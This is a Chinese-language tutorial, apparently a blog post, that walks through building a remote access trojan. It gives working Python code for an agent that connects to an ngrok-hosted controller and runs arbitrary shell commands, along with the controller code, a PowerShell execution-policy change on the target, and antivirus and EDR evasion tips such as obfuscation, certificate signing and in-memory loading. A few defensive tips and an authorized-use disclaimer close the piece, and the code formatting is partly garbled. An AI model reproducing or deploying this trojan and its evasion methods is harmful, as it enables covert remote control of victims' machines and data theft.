0x01 架构设计:远控木马的核心组成

远控木马(Remote Access Trojan, RAT)是一种恶意软件,能够通过网络远程控制目标设备。在设计一款远控木马之前,我们需要明确它的核心组成部分,以及各个模块的功能和实现目标。一个典型的远控木马可以分为以下几个模块:

1. 控制端与被控端

  • 控制端:攻击者用于管理和控制目标设备的工具,通常是一个客户端程序,可以通过命令行或图形界面操作。控制端需要具备发送指令、接收数据的能力。
  • 被控端(Agent):这是部署在目标系统上的恶意程序,负责接收控制端发送的命令并执行指定任务,同时将执行结果返回控制端。

2. 通信模块

远控木马需要具备稳定的通信能力,通常有以下几种方案:

  • HTTP/HTTPS:利用Web流量伪装,方便绕过防火墙。
  • WebSocket:实现双向通信,适合实时控制。
  • 自定义协议:通过编写加密和混淆算法,规避特征检测。

3. 功能模块

一个功能完备的RAT通常包括以下功能模块:

  • 命令执行模块:执行远程命令。
  • 文件管理模块:上传、下载、删除、移动目标设备上的文件。
  • 键盘记录模块:捕获目标输入的键盘内容。
  • 屏幕监控模块:定期截取屏幕或进行实时监控。
  • 权限维持模块:确保木马不会被轻易移除或中断。

4. 隐藏与免杀

为了躲避杀毒软件和EDR的检测,木马需要进行一定程度的伪装与加密,包括但不限于:

  • 加壳与混淆。
  • 使用内存加载技术,避免落地硬盘。
  • 流量加密和协议伪装。

在本文中,我们将从零开始设计并实现一个基于Python和PowerShell的远程控制木马,包括其通信模块、功能模块以及免杀技巧。请务必在合法授权的前提下使用以下技术!

---

0x02 环境搭建与工具准备

在实际开发远控木马之前,我们需要搭建一个本地测试环境。这不仅可以避免非法操作,还能帮助我们快速验证代码并进行调试。

1. 环境需求

  • 攻击者主机(控制端)
  • 操作系统:Kali Linux(推荐)或任何支持Python和PowerShell的环境。
  • 工具:Python 3.x、ngrok(或Frp,用于内网穿透)。
  • 目标主机(被控端)
  • 操作系统:Windows 10。
  • 工具:PowerShell 5.0以上,Python(可选)。

2. 配置指导

控制端配置

  1. 安装Python 3:
  2. <pre><code class="language-bash"> sudo apt update sudo apt install python3 python3-pip -y `

  3. 安装所需库:
  4. `bash pip3 install requests pycryptodome `

内网穿透工具安装

为了让被控端能够与控制端通信,我们需要一个内网穿透工具来暴露控制端的监听端口:

  1. 下载 ngrok 并注册账号。
  2. 配置Authtoken:
  3. `bash ./ngrok authtoken &lt;你的ngrok密钥&gt; `

  4. 启动隧道:
  5. `bash ./ngrok tcp 4444 `

目标主机设置

在目标Windows系统上,确保PowerShell脚本可以运行:

  1. 开启脚本运行权限:
  2. `powershell Set-ExecutionPolicy Unrestricted -Scope CurrentUser `

  3. 安装Python(如果计划使用Python代码)并配置环境变量。

---

0x03 被控端开发:Python木马实现

为了最大程度简化开发,我们使用Python编写一个基础的RAT被控端。以下代码实现了基本的信息收集和命令执行功能。

1. 核心功能代码</code></pre>python

import os import socket import subprocess import requests import json

配置控制端地址和端口

CONTROL_SERVER = "tcp://0.tcp.ngrok.io" CONTROL_PORT = 12345

加密通信的密钥(简易实现)

ENCRYPTION_KEY = b"my_secret_key"

def encrypt_data(data): """加密数据,简单异或加密""" return ''.join(chr(ord(c) ^ ENCRYPTION_KEY[i % len(ENCRYPTION_KEY)]) for i, c in enumerate(data))

def decrypt_data(data): """解密数据""" return encrypt_data(data) # 因为异或加密对称,所以调用同一个函数

def collect_system_info(): """收集系统信息""" info = { "hostname": socket.gethostname(), "os": os.name, "current_user": os.getlogin() } return json.dumps(info)

def execute_command(command): """执行系统命令""" try: output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT) return output.decode('utf-8', errors='ignore') except Exception as e: return str(e)

def main(): try:

创建TCP连接

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((CONTROL_SERVER, CONTROL_PORT))

主循环监听控制端指令

while True: data = s.recv(1024) if not data: break

decrypted_data = decrypt_data(data.decode('utf-8')) if decrypted_data == "GET_INFO": response = collect_system_info() else: response = execute_command(decrypted_data)

加密响应并发送

encrypted_response = encrypt_data(response) s.send(encrypted_response.encode('utf-8')) except Exception as e: pass

if __name__ == "__main__": main() <pre><code>

2. 功能解析

  • 加密通信:使用简单的异或加密(非强加密,只为演示)。
  • 信息收集:获取主机名、操作系统和当前登录用户。
  • 命令执行:通过子进程执行任意命令,类似于Shell。

3. 扩展功能

以上代码只是一个基础版本,实际中还可以加入:

  • 键盘记录功能。
  • 文件操作功能(上传、下载、删除)。
  • 持久化方式(注册表启动项、计划任务)。

---

黑客示意图

0x04 控制端开发:命令与通信实现

控制端是攻击者手中的“遥控器”,我们需要为其提供简单的交互界面,以便发送指令和接收回显结果。

1. 控制端代码</code></pre>python

import socket

配置监听端口

LISTEN_PORT = 12345

def start_server(): """启动控制端服务器""" try: server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(("0.0.0.0", LISTEN_PORT)) server.listen(5) print("[+] 监听端口: {}".format(LISTEN_PORT))

conn, addr = server.accept() print("[+] 目标已连接: {}".format(addr))

while True: command = input("Command> ") if command.lower() == "exit": break

conn.send(command.encode('utf-8')) response = conn.recv(4096).decode('utf-8') print("[+] 命令回显:\n{}".format(response)) except Exception as e: print("[-] 错误: {}".format(e))

if __name__ == "__main__": start_server() `

---

0x05 绕过与抗检测技巧

黑客示意图

1. 文件免杀

  • 混淆代码:可以使用工具如PyArmor或手动混淆关键词。
  • 签名伪装:使用合法证书对程序进行签名。
  • 编码转换:将Python代码转换为二进制可执行文件,比如通过PyInstaller。

2. 流量加密

  • 使用AES或RSA代替简单的异或加密,增加逆向难度。
  • 将通信伪装为合法的HTTP/HTTPS流量,使用HTTP头部加入合法信息。

3. 内存加载

避免恶意程序落地硬盘,可以通过PowerShell脚本加载Python代码到内存中运行。

---

0x06 安全防御建议

黑客示意图

作为防御者,以下措施可以有效防御此类攻击:

  • 部署EDR并开启高灵敏度规则。
  • 禁用未签名的PowerShell脚本执行权限。
  • 使用网络流量监控工具识别异常通信。
  • 定期更新杀毒软件特征库。

---

总结

在本文中,我们从头开始设计了一个基础的远控木马,包括被控端和控制端的开发,以及绕过检测的基本方法。需要再次强调,本文仅限于学习和授权测试使用,严禁用于非法目的!